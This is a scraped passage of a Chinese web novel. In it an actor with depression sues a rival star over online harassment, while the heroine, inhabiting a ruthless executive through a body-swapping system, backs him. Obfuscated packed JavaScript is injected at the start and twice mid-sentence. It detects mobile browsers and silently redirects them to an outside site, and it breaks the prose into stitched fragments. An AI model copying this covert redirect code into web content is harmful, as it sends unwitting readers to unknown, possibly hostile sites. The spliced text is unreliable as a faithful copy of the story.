;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她并不是说场面话，而是宋寅刚到剧组的个人状态，就给人的感觉是他其实并没有好好休息，也没有关注外界剧组刚开机这些纷纷扰扰，他甚至忘了，今天让他来是因为剧组有个开机仪式来着。 他只是说：“我只是，想不到别的事可以做。” 他直起身，虽然那双眼睛还是和以前一样的，但是李珂看着总觉得察觉到，为什么他说，他要怎么样才能让其他人觉得他的抑郁已经好了的时候，她不是真觉得他好了，而是反而觉得他情绪更奇怪了一样。 因为他说这话的时候，仿佛是“空心”的。 程兰这个角色，和或许别的，掏空了他心底的一部分，所以宋寅无力应付外界对于“他怎么得了抑郁症”“他的抑郁症是好了还是更差了”的揣测，而是只能通过饰演一个又一个角色那么做。 表演，是他填满自己的方式。 …… 也许，默默地关注着她的日常也是。 来之前宋寅问，你们也觉得我的病不像是好了吗？其实，不是他真的那么像一个病人，而是他总是会让你在用正常态度对待后察觉到，其实他的心理世界甚至是不完整的。 他就像永恒保留一个有秘密的地方，那个地方，只有没患过抑郁症的宋寅，和现在的盛蹊能够达到。 乔钰：“那就在这吧，在酒店太容易引人误会了。” 宋寅点头。 乔钰看他一眼，又问：“无意冒犯，但是你有女朋友吗？” 宋寅也不知道她为什么忽然会问这一句话，但是他看她一会儿，还是说：“没有。我暂时也不打算考虑那些。” 乔钰笑了笑：“那也没什么，按照你现在的状态，把那种缠绵，和不自觉的追逐心态演出来，这部剧也算成了。” 经纪人小声提醒乔钰：“乔。”就算她咖位没那么高，也不是没遇到过男星跨档次捆绑的，但乔钰摇头示意她放心。 她阅人无数，看得出来，这个宋寅心思不在她身上，甚至，不在这里。 她又看了宋寅一眼。 他就像，已经把心脏寄存在某个绝对安全的地方。然后要剖开心脏取一部分灵魂的时候，他只感觉到在流血，但是意识到自己有心脏的时候，才后知后觉地疼起来。 现在他只是在流血而已。 25. 第 25 章 不过乔钰没那么无聊，关心一个合作演员的心理健康，而是确认开机仪式结束她们就没有通告，时间自由后，和宋寅说：“你打算从哪部分先开始？” 饰演陈曦河这个决定，乔钰觉得他做得挺明智的，业内总以为她一直演不上女主是因为眼光不好，或者咖位不够，只有乔钰自己知道，很多女主进组后才知道剧本被剧方魔改，前期人设有多高光，后期就有多憋屈。 而一个饱满有弧光但是后期崩塌的角色，吸粉本来就不如以完全体出现，辅助和支持女主的女配，两相比较下，当然是饰演女配对她来说收益更大了。 对于宋寅当然也是如此，他和周宇的事爆出来之前，乔钰就知道业内有公司对他挺看好的，他签约天光之后，也有公司给他递出男主剧本，但他没有选择那些人设单薄的男主，也没有被陈曦河的三番番位劝退，说明他和自己一样，是有审美的。 陈曦河看似是一个给男主赋魅，给女主奉献，毫无自我的白月光角色，但这种白月光，演好了也能成为朱砂痣，更别提剧组选角的时候给她看过宋寅的演技片段，她私心觉得是够用的，但看宋寅进组就来找自己对戏，还是觉得稀奇。 “就从最先的剧情开始吧。” 乔钰有点诧异：“最先的剧情，你已经把台词顺完了？” 《若星辰》开机前几天还在改剧本，这事儿她是知道的，而且因为这事儿她还和公司抱怨，背好的台词又要重新背，场景那些说不准还得新换，到时候又不知道要花多少钱了。 《若星辰》是比较早期的本子，投资还是公司看在她的份上友情注资的，现在周期被拉长，她当然要找公司诉诉苦，让公司千万不要因为这几天延期，减少对《若星辰》的投资，可她心里知道这是个小成本古偶，比不上她以前饰演的S+大制作，看到新台词都有点犯懒，没想到……宋寅接到通知才没多久，剧情台词都顺完了。 不然他绝不敢找她对戏，在圈内多年，乔钰这点自信还是有的。 和宋寅真正对上，就更觉得惊讶了，对完第一镜，她忍不住和他说：“你原来的剧都是用原声台词配的？” 宋寅摇摇头：“春夜是，其他的还没有。” 乔钰：“……”她有时候也想发出和观众一样的声音，台词这么好的演员都只能演小成本古偶男二，娱乐圈挖角的都干什么去了。 不过想想归想想，她自己都被很多营销号归于没火是因为命数那类，当然也不会去管宋寅的发展情况是如何了，而是翻了翻剧本说：“可以了，这个速度，应该很快就能对完，今天就到这？” 她抬头，看见宋寅没说话。李珂看了看，上前一步：“那个，乔老师，不好意思。我们宋老师有点内向，今天就到这，麻烦您了。” 乔钰看看她，点头，要走的时候回头，发现李珂在紧张地和宋寅说话，宋寅低声说：“抱歉。” “躯体化”的可信度倾向更严重了，而且他还看到属于乔钰的可信度也偏向了“焦虑？抑郁？躯体化”。她看出他刚刚没说话是因为突然控制不了自己的声音。 李珂很担心：“哥，你到底……”但她看他垂眸看自己的手掌，又说不出话。 宋寅说：“是啊，我到底怎么了，明明接到了一个喜欢的角色，我应该开心。”他说着开心，但是整句话竟然毫无起伏，刻板地就像在念一句没有情绪的台词一样，明明他在和乔钰老师对戏的时候，还能精准控制自己的情绪。 李珂是新人，但她很快联想到程梦还有一些前辈告诉她的，一些圈里也有情绪问题的老师的先例，心里就是咯噔一下，坏了，该不会是出不了戏了，或者情绪消耗过大，没有办法自我调节了吧。 其实这两点，宋寅感觉应该都有，主要是，她对待和本体不同的马甲，本来就隔了一层，在饰演程兰掏空一部分自己之后，消耗的情绪更加得不到回复。 他就像一个容器一样，情绪本来就不是满的，被本体倒给他之后，又被他倒给程兰，现在又有身体抑郁症状的影响，他感觉自己已经不是自己了。 他感觉自己像是“宋寅”这个虚假的角色，但只有靠近其他角色的时候，才能忘记自己并非本体的那种虚无。 李珂急得快转圈了，回酒店之后盯着宋寅吃了药，又匿名打心理咨询电话咨询，只是因为她遮遮掩掩，不敢说出他是演员，怕被和近日的热搜联想到一起，最后还是挂了，然后转头，看见宋寅在做煎三明治。 这次公司订的酒店不错，主要是他是男二，得和女主他们住得近一点，不然就没法跑通告了，所以酒店里有厨房。但也只是有些简单厨具。 他把煎蛋翻过来，然后看向李珂：“你吃吗？” 李珂看他一会儿，心情低落地走过去，忽然说：“宋哥，要不，要不我把盛老师请过来吧！” 他倏地顿住，过了片刻，还是伸手，把火关了。青年的个子本来很高，最近塑形好了一些，没那么瘦了，但依然是颀长的身形，站在厨具前，和一棵青竹一般。 但是这棵竹子你走近才发现是墨色的。 他垂着眸。 李珂有点着急：“梁哥可以给你请心理医生，但是我们又猜，你不愿意和医生说发生了什么，所以，所以我们才想，找出你抑郁的症结，你自己也说，不想继续被抑郁症困扰，不是吗？” 宋寅就站在那不说话，李珂都有点后悔说这些了，她想打自己的嘴，让她不听梁哥的，等宋寅情绪好点再提，只是她看宋哥越来越严重，真的不想拖下去了…… 她在胡思乱想着，宋寅说：“等我演得够好了，自然会好的。” 这话题跨度太大，李珂都没反应过来：“你是说病吗？还是说和盛老师的……” 宋寅偏头，对她弯了弯眸。宋寅的眼睛属于那种很漂亮，很有亲和力的桃花眼，尤其是弯起的时候，让人感觉到如沐春风的柔和感，可是李珂没法从这里面看到半分开心。 “如果我是因为她生病的话，她也不会忍心看我这样的，李珂，你放心，我的病不是因为她，不是因为任何人。” 刻板行为让他想反复打开和关闭灶台的火，还好他控制住了，以前盛蹊没有戏拍的时候，她也喜欢这样，跑到超市里买自己喜欢的菜来做，做完总会觉得很平静。 她曾经以为演戏就和做菜一样，只要坚持就会越来越好，没想到她也会有出不了戏的时候。 宋寅低声：“我只是需要放空放空自己的情绪。” 程兰把他装得太满了，她以前，从来不敢让类似绝望和无助的情绪浸染到她身上，但程兰的角色太浓墨重彩了可能让她联想到自己了，她倒不出来，反而开始怀疑自己的选择是不是错的。 李珂：“宋老师你没明白……不管是不是因为盛老师，她来了肯定都会让你的情况变好的。”她看他表情有瞬间变化，找补：“毕竟是因为她你才进入演艺圈的不是吗？我现在就去和盛老师联系……” 他拦住她。 “宋老师！” “太远了，”宋寅感觉自己又有一点躯体化了，系统一开始提示她马甲会受到可信度倾向的影响，她还没有感觉，现在意识到，这个可信度倾向限制到底是什么意思，即使他的情绪并没有发生变化，但是在李珂看来，他的情绪波动是很大的，躯体就会呈现出情绪波动很大的征兆，“李珂。” 他呼吸有点困难：“我想演好了这个角色，再让她知道。” “可是她一直都知道你，”李珂都不知道怎么解释，宋寅一直觉得他要做得足够好，或者整理好自己才能被盛老师看到，可是他们关系曾经那么好，知道他有抑郁症，这些年过得这么辛苦，她会视若无睹吗？ 她相信盛老师也会难的，可是她不知道宋哥为什么在乎这些，他好像不知道，只要他想见到，她就会来。什么绝交距离根本都不是问题！ 如果程梦在这，就会和李珂说果然是刚大学毕业的大学生，想事情想得太简单了，很多进入社会的社畜就能理解，很多事情不是你想怎样就能怎样，有些还掺杂着自尊、胆怯很多复杂的因素，不是那么容易能理清的。 不过宋寅还是给了她一个理由：“我去过，只不过，我的躯体化更严重了而已。”仿佛是应和这句话，他咬字开始变得有些艰难：“我不想，让她看见这样。” 什么？李珂有点无法理解，再听了几遍终于反应过来，宋哥是说他发现自己得了抑郁症之后去找过她！只是症状没有像他和她想的那样变得更轻，反而更严重了，所以这就是说…… 宋寅收回视线，继续做三明治：“我想把病治好再去看她。” 这句话就好像是再说，告别、绝交的时候已经闹得很难看了，一别经年，我不想再去和她和好的时候，还是这幅难看的样子。 那你还说症结不是因为她，李珂鼻酸，而且，还想到了演技派综艺上，孔蕤老师说，好像在宁戏看过他，他一直不肯承认，他是关注着她的，他一直默默追随她的脚步。 她在宁戏，他就去宁戏，她在演艺圈，他就看她的戏，她没退圈的时候，他想进入这个圈子和她一起。 他明明就是依附盛蹊的光影才能存在的怪物，还能狡辩，他的每一丝存在都不是因为她。 “那盛老师知道你的病很担心怎么办。” 宋寅没有回答这句话，他就像是从来没当这个问题是个问题，或者这样考虑过，他不认为她会为他担心，也不在乎自己的情绪问题。 他只是说：“煎蛋好了，你吃辣吗？” CP超： 【好消息好消息，宋寅好像进组啦！《绣年》预告片的观感也很不错，西西接到了新角色，两个都是好宝宝（拥抱）】 【呜呜呜，有人懂吗，《绣年》的预告片里宋寅终于有了正面长镜头，转发里都是帮忙艾特宁戏的（呜呜呜）】 【（大哭）宁戏什么时候能和宋寅合作啊，我好想看他们两个再次同台】 【估计是不行了，但是以后有希望的，看了西西的新戏，才进入剧院没多久，就已经演上两个角色了，宋寅也是，越来越好了，只要他们两个人都有想法，终能再次相遇！】 【我可能是悲观主义者，有没有姐妹知道宋寅的病怎么样了啊呜呜，上次在热搜上看到真的大哭，不敢想象西西看到会有多难受】 【都好多次提倡去看戏的宝宝不要问了，上次还是看到有姐妹拿双人照给西西签名，下次不要了哦】 【我只能说，很不好……有人说宋寅入戏太深了，还有程兰这个角色本来就是带自毁倾向的，还和西西的经历很像，据说进了新组也一直不能出戏，公司正在想办法（大哭）】 【啊！不要啊！我以为他好了呢QAQ】 【抑郁症本来就很容易复发的吧，加上演戏这种消耗情绪的职业，好希望两个宝宝和好一起走过去】 【原来一直都没有人发现，西西原来的那套房子产权变更了，而且持有者好像还是宋寅签的公司，希望他们真的有在变好吧（拥抱）】 梁叙买下了盛蹊原来那套房子的事，盛蹊还是收到合同才知道。没过多久，宋寅就和梁叙打了电话，电话通了，他却什么都没问。 梁叙好像早有预料，单手插兜：“别太惊讶，盛蹊本来就是我的朋友，她想把房子卖了，我帮一把也是寻常，你不是也出不了戏吗，春夜成绩不错，公司准备把这套房子作为你的奖励……” “你想干什么。” 李珂在收拾东西，听到这句质问抬头，她没听到过宋寅这种语气，他一直是温和的，沉默的，可是现在仿佛整个人紧绷到极致。 梁叙也有点惊讶：“只是公司权衡……” 宋寅：“我不会给你和公司炒作的机会的。”他低声：“我只是想好好演戏，她也是，为什么做到这件事这么难？” “……”梁叙沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247172|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默一下，然后诚恳说：“宋寅，不管你现在是什么原因，你没法证明，你的事和盛蹊无关，你要是证明了，是想把她推上风口浪尖吗？而且，房子在你手里总比在其他人手里好。” 他砸出一个重磅炸弹：“周宇那边也准备用那套房子来洗白，到时候盛蹊卖出，他们用高价购买，你猜热搜会不会说她借和周宇的绯闻敛财、房子本来就是周宇被她敲诈才给她的、是她贪心不足蛇吞象才闹出绯闻的事想逼周宇给她更多？” “你知道的，白熊很多部剧都押在周宇身上，他们不会允许他出事的。” “……”宋寅感觉到一种窒息般的痛楚，他是真的没有想到，到这个地步了周宇还是不肯放过她，而且他无法否认梁叙说的话。 最后他还是挂了电话，孤零零地站在那。 李珂颇有点小心翼翼的意思，但没过多久就收到一条特关提醒，宋寅发的： 【既然退圈也不能消弭你们的恶意，那为什么不来问我？】 她睁大眼睛，抬起头，发现宋寅单手扶着大理石的桌面，好像站立不稳似的，呼吸也略有些困难，看到她过来，他略略苦笑了一下。他不否认老师说的，和他绑定得越深，她越无法被观众看见。 但是：“和我绑在一起，总比和周宇绑在一起好。” 可是他接下来说的话却让李珂想落泪了：“但是她只是盛蹊。” 他只是想让她成为盛蹊，和任何人都无关的盛蹊。 李珂觉得宋寅现在的状态不适合工作，但他依然强撑着联系了他们推荐他的律师。 他之前就知道周宇和他团队一直试图挖掘他黑料然后把他送上热搜的事，甚至之前联系他的同学老师想要春秋笔法，说他和本体早恋也是周宇的手笔。 他只是没想到，他以为会过去的阴影会这么大、这么大。大到，他不想再忍受下去了。既然周宇不肯放过她，那他为什么要放过周宇？ 粉丝本来还在讨论宋寅为什么发那条博，还说“消弭不了你们的恶意”，还有人问他和盛蹊的关系，没想到不过几个小时，宋寅再次回复： 【如果霸凌不是实情，那么长期贩卖、传播我的亲属个人隐私，利用他们的离世造谣诽谤辱骂我的朋友和亲人，攻击我的过去、造谣我的病情，算引导和利用网络暴力吗？@周宇@周宇工作室】 【在明知道我病情的情况下，反复利用我和盛蹊的关系，造谣污蔑，混淆视听，企图用我父母的去世和境遇的变化攻讦我，算是侮辱伤害个人人格吗？】 业内都被宋寅的这个突然明牌惊呆了，但是在律师事务所发布了加盖公章的诉讼委托后，宋寅依然说出了可信度倾向没能盖章定论的事实： 【我的父母并不是因为盛蹊去世的，我们也没有像网上说的那样，因为盛蹊的事吵架，他们只是生病了，三年前的冬天，他们接连离开了我，仅此而已。】 他揭开了他最深的伤疤。 【他们很喜欢她，是你们不够喜欢她而已。】 所以才把所有的事怪在她身上。 李珂看到，几乎都要喘不过气来了，但是她转头，发现宋寅已经把自己关在房里了，而且超话里也是一片哭声，之前还担心宋寅病情的CP粉们，现在各个哭得枕头袖口都湿了： 【啊啊，为什么这样！！（大哭）“他们都很喜欢她”，所以是真的青梅竹马对不对，是因为关系真的很好，而不是他们说的父母不许你们早恋所以闹翻了对不对，但是为什么是用这样的方式（呜呜呜呜）】 【他明明不想说的（流泪）他明明不想让她知道】 【我真的要哭死了，宋寅的反应真的诠释了他本来什么都不想说，但是被其他人的恶意揣测逼到不得不全部说出的过程，明明是你们一直不放过他，却还说他一直在卖惨！】 【就算是父母都去世了也没有描述父母生病，家里骤变的过程，只是说希望不要造谣啊，为什么娱乐圈这么过分的事都存在，用人家爸妈攻击他？】 【这个我真的看到过，本来宋寅家里的事没什么人知道的，春夜爆火之后好多人说他和父母吵架，导致父母车祸去世，他才和盛蹊绝交的，简直有病（气炸了）】 【是这个桃子营销号对吗？查了MCN，周宇他们旗下公司关联的（图片）】 宋寅的爆料和诉告引起了轩然大波，很多人和营销号都开始趁机倒油，控告周宇和他的粉丝引导网络暴力，霸凌对家的种种云云。 但是这其中萤火最关注的还是宁戏和宋寅的动态，果然宋寅发了公告之后，没多久，宁戏挂出开演时间调整的公告，但是演职人员里没有盛蹊。 之前问过盛蹊宋寅的事的大姐可惜地看着她：“你真的要请假去掺和？”以她看来，这件事和盛蹊完全无关，虽然盛蹊很清楚地知道，她选择在这个时候认下宋寅身世这个可信度倾向，是因为周宇团队一而再再而三地利用她。 但是，她垂眸：“伯父伯母都是我的长辈。” 大姐张张嘴，神色复杂些，这么说，她果然不知道。她沉默片刻，还是拍拍盛蹊的肩膀。 盛蹊说：“我把他一个人留在圈里，错了吗？” 原来褪去她本体，换一个外壳的“盛蹊”，也没有更坚强。 大姐惊讶：“盛蹊，你的意思是……” 盛蹊摇摇头：“我要看着这件事有一个结果。” 房子，周宇，还有她和宋寅的绑定。 不知道是不是系统做了什么，坐上飞机的时候，她听到系统久违的投放马甲的声音：【已捕捉本体执念中情绪最复杂的场景，对马甲加以投放。当前投放马甲所拥有可信度：10。】 她睁开眼。或者说，“他”睁开了眼睛，看到梁叙说：“白熊那边还是很可能保周宇的，王总那边说，公司对于不插手这件事没意见，就看您这边。” 陆其昌抬起头。 可信度倾向：严格。 26. 第 26 章 梁叙对这个空降而来的副总其实不太了解，来之前他只模糊知道，对方是风投出身，家世很好，为人也很严苛冷淡。 就像是刻板电视剧里描绘得那样，自视甚高的关系户。 他来天光娱乐之前，甚至没有在娱乐圈工作过，但他就是这么突然且莫名其妙地成为天光娱乐的副总了。 梁叙问王总的时候其实也有种感觉，王总也不知道他是什么来头，也摸不准用什么态度对待，所以才让他来询问。 但实际上，是他没摸到陆其昌的底吧？但又不好真的把他架空，所以让自己来探探路来了。 宋寅硬刚周宇这件事，说不好处理也好处理。 说到底这只是演员个人的纠纷问题，白熊关联公司那边到现在也没表态，大概就是想，宋寅的个人行为是不足以撬动整个公司为他支撑的。 事实也的确如此。 天光娱乐坐山观虎，宋寅打赢了，他们可以抓住这个机会让宋寅的咖位升上去，最好是填补周宇留下的空缺，最差也能捡到一些周宇塌房掉下的资源，宋寅输了，他们也可以让宋寅继续立一个清纯无辜被资本做局的美强惨人设蹭热度，实在蹭不上还可以弃车保帅。 虽然梁叙还一直记得盛蹊和他是朋友的这层关系，但是这层照顾因素并不足以让他为宋寅扛下这么大的雷，再说，宋寅私自发声明，公司没有指控他违背公司管理，已经算是很给他情面了。 直到在办公室见到这位陆总，他还是这么想的，但是在看到陆其昌眼里的淡薄和锋芒之后，他五感中的某根神经突然麻了一下。 多年职场的丰富经验突然让他感觉，这位陆副总不是那么好应付的人。 陆其昌的脸很冷峻，客观来说是可以饰演剧集里那种手握大权运筹帷幄的总裁、大哥或者话事人那种长相，他给人的感觉也并不轻浮，反而像是空降的关系户最会害怕的那种严苛上级，嘴角总是挂着一丝若有似无的冷笑。 他以一种绝不轻慢，但是又很迅速的速度，看完他递过来的文件之后，就说出梁叙最后悔说出的那句话：“公司对于不插手这件事没意见。” 他抬起眸，薄薄的眼皮显得那双欧式，略显贵气的眼睛里，很像夹杂着某种嘲讽：“公司培训的时候，告诉你递交文件的时候可以对领导给出你的宝贵意见吗？” 梁叙后脖颈麻了一下，第一反应就是解释，但他很快反应过来，感觉额头上出现薄薄的细汗。是，没错，他在给出这份文件的时候是希望这位陆副总不要插手，但以他现在的焦灼情绪，无法回忆为什么他第一眼就看出他不好惹的情况下，还是给出了一句这样的回答，他只能说：“……是我的问题。” 陆其昌并不意外，或者说，他身体里属于盛蹊的那个灵魂并不在意。 她说和梁叙是朋友，其实她心里知道，梁叙和宁露一样，只会在不涉及他们利益的时候站在她这边，而一旦牵扯到自己的事，没有人会是不自私的。 但她还是感觉莫名讽刺。 对于她和“他”，不管是宁露姐，还是梁叙，第一反应都是做最保险的明哲保身处理，周宇有没有做那些事，他有没有为他所做的付出代价，谁在意呢？ 但是陆其昌也不可能是一个真善美的人。 因为如果他真的是一个心慈手软的角色，怎么可能在天光最有发展前景的时候挤走其他人的位置，成为这里的副总呢？ 说到底，系统给她的这第二个马甲，看似是根据她的执念，为了完成她心底最执着的愿望来的，但何尝不是在拷问她自己呢。 原来，她也希望有一个无条件偏向自己的人，他不是什么好人，也不会坚守什么所有人都相信的公平正义，他只是，偏爱她而已。 心里这么想着，极其注重时间效率的陆其昌却已经拿出钢笔——抽屉里本来是空的，但是梁叙跟着他的动作完成脑补之后，男人果然从里面拿出一支从钢笔尖到笔身，处处都透着矜贵的名贵钢笔来。 梁叙忍不住腹诽：装你爹呢。 陆其昌利落地签下自己的名字，为了习惯一个农村角色的文盲状态时，她曾经学过一段时间的不同字体，同时也观摩过同组饰演知识分子的人的写字习惯。 不刻意追求美观，只是力透纸背，只是笔画很凌厉，不接受任何评判。 陆其昌没抬头：“让公关部出个方案。” 梁叙猛地抬起头，他的固有认知让他知道，天光娱乐的各项部门都非常精简，目前还没有公关部，所以这项认知不会受陆其昌的可信度倾向影响。 “……陆总，这可能有些困难。” 但陆其昌旋即抬起头，压着眉眼，神情里没有透露出不耐，却反而让梁叙觉得头皮微麻：“那就让人事部抓紧成立，不用管白熊说什么。” 她暂时不确定陆其昌能让其他人以为，他拥有多少权力，可只有别人认为他权力很多，他才能真的做到很多。 现在梁叙就是这么认为的——这种自视甚高又牛气冲天的人，最喜欢的就是给下面的人一个看似很豪但其实无法达成的方案。 但陆其昌是真的有这个实力，他这样的人是不会让自己丢脸和不顺心的，必要时候，他牺牲利益也要让自己说过的话做到。 “既然他有证据敢起诉，就应该让所有人知道。” 梁叙立刻双手接回方案，但还是忍不住确认了一句：“您确定吗？白熊那边应该会不顾一切压下周宇被起诉的谣言。”谣言应该打引号，从宋寅决定起诉开始，周宇就不是清白无辜的状态了。 陆其昌的回答是没有回答，他本来就不是一个脾气很好的人，能在年纪轻轻做到高层的人，冷静镇定大多都是稀有品质，毕竟他就算是大发雷霆，底下也没有违背他的份。 况且，盛蹊不准备把他塑造成个好人。 他就这么轻轻瞟他一眼的功夫，梁叙已经立刻躬身然后退出门外，在走廊上虚掩的门旁边，梁叙无声咒骂了下。 陆其昌看到了，但他不在乎。他走向休息室——随着梁叙可信度的增加，原本和王总平起平坐的几十平总监办公室，变成了比王总稍豪华点，位置还很好，安静冷峻，却又能纵观整个办公室格局的顶级办公室。 休息室只是附带。 陆其昌看着镜子里自己的脸。他的想法，和他最终在梁叙眼里的塑造，其实并没有差多少。心狠但是办事果断，家境优渥但是没有天真单纯的心态，反而有一种浸淫社会和商场的狠辣。 所以这样的人不能太年轻，年轻的上位者在小说里可能会被人偏爱，但是在实际社会里，年龄反而是阅历的一种标配。所以镜子里的脸英俊却有一种年岁积累后，阴沉成熟的厚度。 眉眼间的情绪深沉却不容易发生变化。 也不能太过温和，否则不能在一开始就获得梁叙关于“狠辣、高傲”的可信度倾向。马甲的眼神里恰好掩藏着晦暗的暴戾，只是他不是一个规则的破坏者，而恰巧是一个狡猾的规则利用者。 但也不能太不唯利是图。 陆其昌洗了把脸，看向自己青筋毕露的手。如果不唯利是图，反而是理想主义者，在这个圈子里不可能走得很远，也会被认为实际上没对这个圈子有多了解，不是吗？ 他想为本体保驾护航，先要抛弃自己可笑的，并不适宜的价值观。但是他心想，有他在的地方，本体可以不被人逼喝酒了。 就算有其他演员求救，或者不愿意，她也不会坐在角落里，一句话也不能说，只能看着他们和各个电视台的领导推杯换盏却如此无力。 他对规则的漠视并不是因为他是一个好人，而是因为，她也是这套规则的被牵绊者。所以陆其昌，去完成你的角色吧。 他擦去镜子上弥漫的雾气，看着自己阴沉，冷酷，严厉，狡猾的脸。 只有你做这个狠辣的推手，既得利益者，她受到的庇护才是成立的。 时至今日，盛蹊对退圈的决定并不后悔。 她只觉得，演员要能饰演所有类型的角色，就不能抛弃自己心中的理想主义者，实在是太残忍了。至少她自己，也只敢在陆其昌这里抛开了。 梁叙很快联系了临时成立的公关部门，并对接到了陆其昌“应该有的”，在公司里没有具体职务，但是为陆其昌服务，也约等于为天光娱乐服务的秘书何修。 何修很专业，至少梁叙在见到他之前绝对没想到，他和他来握手，是告诉他，公关团队已经找好了的。 何修是真实的人，这得益于梁叙胡思乱想，认为陆其昌空降到天光这里，绝对不是赤手空拳的想法。之后，金牌秘书何修立刻成为陆其昌离职后他带过来的人。 他的解决问题能力一流：“这支团队完全听梁总监的安排。” 梁叙有些无言，在何修对他微笑，然后要走的时候，叫住他，然后斟酌话语询问：“何秘，恕我直言，陆总想要得到的结果到底是……” 如果说以前他还想公事公办地叫陆其昌陆副总，现在绝对没有这个想法了，他只想询问，这位陆总插手这个必败的舆论战是为什么？ 宋寅和全公司的艺人粉丝加在一起都打不过周宇，这不是很显然的吗？事实上公司给宋寅的支持声明还不如说是挽尊了。 梁叙对马甲二号陆其昌的可信度倾向，还差一点滑向“对娱乐圈事务一窍不通”的对立面的时候，何修道：“陆总不想要结果。” 梁叙愣了一下。 刚刚何修去见陆其昌的时候，陆其昌用自己熟稔且冷冽的厌烦摆手姿势，让顶级秘书何修确信，他是能理解，而且“习惯”于解读陆总不屑出口的想法的。 他和以前一样，对陆总的雷霆手段心知肚明。 何修微笑：“因为结果，已经摆在那里了。” 结局很明显，陆总有不为人知的渠道和手段，他百分百确信，周宇已经时日无多，很快就墙倒众人推了。 而陆总选择在这个时候入场，除了对局势发展很确信外，还因为他那睚眦必报，斤斤计较的冷酷性格。 因为陆其昌在何修快关上门的时候说：“如果周宇来找我，就说我不见。”他眉眼里戾气横生，语气烦躁：“他自找的。” 作为纵横职场的金牌助理，何修很确定，这句并不是霸总小说里常见的为女主角找回场子的台词，而是陆总真的在不知道的时候，被周宇惹到了。 而且以他酷厉暴烈的性格，周宇做的并不是什么大事，只是陆总，真的不是传统意义上的好人而已，他不大度，甚至相当狭隘小气。 他把周宇踩到泥里，只是因为他想把周宇踩到泥里。 所以这位金牌秘书抱着这样的想法去完成这个任务的时候，还在想，究竟是什么样的小事，让陆总这样一个睚眦必报的人，忍到现在，才大动干戈呢？ 至少以何修对自己的判断来看，这位陆总绝对不是什么资格只够做一个娱乐公司的小小副总，还被他追随的人，陆总在回国之前，能量应该更大吧。 只是不巧，他都有些记不清了。何修把这归功于不熟悉的娱乐圈方面工作太多，他还需要更多的脑容量容纳他不知道的相关知识，所以先忙工作上的事吧，等他不忙了自然就想起来了。 …… 短短六个小时，陆其昌的可信度偏向，从单一的严格，变成“海外归来，今天空降，来历不小，睚眦必报”，可信度从可怜的10升到135。 这还是梁叙督促下运转的天光娱乐公司，每个职员都给这位突然出现的陆副总贡献了一点可信度的结果。 但陆其昌依然在办公室里，扶着额头闭着眼。不是因为本体突然需要他切换回去，而是因为，他居然不想回到本体身体里。 何修来敲门，因为“知道”陆总的休息习惯，没事会虚掩着门，有事就会像这样紧关着，但他判断这件事是陆总目前最关心的，所以斗胆打扰了陆总的休息。 陆其昌果然有起床气，而且他不是会给下属好脸色的温和性格，一打开门的时候，眉紧紧拧着，一副无时无刻不在暴躁生气的模样。 但他还是有一点情绪管理能力，并没有一张口就骂人，而是果断道：“掉粉数据怎么样。” 何修恭敬递上：“差不多掉到三百万了。” 四百万粉丝，这是周宇某音账号的活粉规模，某博账号他开通太久了，而且可以买僵尸号，所以注重效率的何秘书是绝对不会把这数据递上去的， 而且白熊还是某博的合作平台。它不会倒油的。某博上现在还有几个周宇粉丝刷出来的热搜。 但是某音反映很直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260240|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观，最近一条视频，被顶到前面的万赞评论已经有人道：【听说你泄露人家的亲属隐私，引导粉丝辱骂他去世的家人是真的吗？】 【不出事刷不到系列】 【让周宇去报警的粉丝，上一个报警的已经进去了，望周知（微笑）】 【全都是粉丝在说宋寅没有证据都是在造谣，他要是没有证据会在某博上直接点名然后放律师函吗？还有和盛蹊的绯闻事件，是不是当我们网友瞎？】 【盛蹊退圈还是退得太早了，就应该看这个下头男身败名裂】 【@宁城警方，来看犯罪嫌疑人】 …… 类似的评论越来越多，发酵到其他几个主流社交平台上，周宇团队已经完全控不住了。 陆其昌本来在看新闻，系统说：【周宇本来就即将爆雷，宿主的举动不过是倒油，不存在可信度驱动如此大规模事件爆发情况】 盛蹊知道它是在和自己解释，可信度的作用不是万能的，可即便是如此，也足够她看到一个娱乐公司在舆论攻伐上能起到的关键作用了。 她因为和周宇试镜一直在被周宇粉丝骂的时候，宁露一直和她说，公司的引导能力有限，营销经费也有限，不可能花在她一个人的身上。 她一直对这样的结果表示认可，可是让陆其昌抛弃利益，毫无道理地站在她这一边的时候她才知道，原来说话也是有用的。 公司可以不倾尽全力，但是怎么可以冷眼旁观呢。包括宋寅。陆其昌垂眸，冷笑一声。 宋寅被无数人看好，公司还不是弃卒保车。区别只是，她一直对这个行业抱有幻想而已。 何修今天第四次来汇报，一进来就看见他们陆总脸上那满是冰霜，无须压抑冰冷和嘲讽的表情。上位者无需隐藏自己的情绪，但陆其昌一直这么暴躁易怒，也算是他人格底色的一部分了。 何修刚到，陆其昌就伸出手，不耐地翻开看了看，然后皱眉说：“宋寅呢，账号接管了吗？” 